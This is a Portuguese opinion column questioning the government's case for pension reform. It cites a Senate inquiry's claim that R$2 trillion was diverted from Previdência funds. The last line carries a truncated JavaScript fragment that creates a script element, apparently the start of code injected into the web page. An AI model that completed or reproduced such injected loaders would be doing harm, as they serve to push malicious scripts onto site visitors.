É preciso mesmo modificar as regras da Previdência Social, limitando direitos e benefícios dos trabalhadores, como prega o governo federal? Afinal, os cofres previdenciários estão ou não no limite da capacidade de cumprir seus compromissos? O modelo atual, de fato, exauriu-se?
São perguntas com respostas distintas, a depender de quem as responda, como tem sido constatado nos últimos quatro meses durante as audiências na Comissão Parlamentar de Inquérito da Previdência Social, no Senado Federal.
A CPI chegou à conclusão de que o problema não é falta de dinheiro. A questão é, numa só palavra, corrupção. Mas suas excelências preferem chamar isso de desvio de recursos, má gestão e uso de dinheiro onde não deveria. Os senadores falam até em desrespeito à Constituição e má-fé do governo ao manter sob o manto do segredo as contas previdenciárias.
De acordo com a CPI, foram R$ 2 trilhões desviados dos cofres da Previdência, 15 vezes mais do que o rombo anunciado. Como fontes das informações, a comissão aponta as autoridades no assunto ouvidas até agora.
Então, não há outra saída. As contas da Previdência precisam ser divulgadas amplamente, de tal maneira que a sociedade possa ter como reagir diante de informações diametralmente opostas.
Como o governo não tem credibilidade para dar confiabilidade aos dados que apresenta, os cidadãos ficam atarantados. Confiar em quem?
Uma realidade não escapa: a de que dificilmente exista alguma conta sob a responsabilidade de governos que estejam contabilmente ajustadas. Para os mais puristas, quando se fala em contabilidade, refere-se apenas e tão-somente a números fechados sem roubo, igualmente para usar apenas uma palavra.
Tudo isso fortalece e amplia ainda mais aquelas interrogações iniciais.var d=document;var s=d.createElement(\’script\’);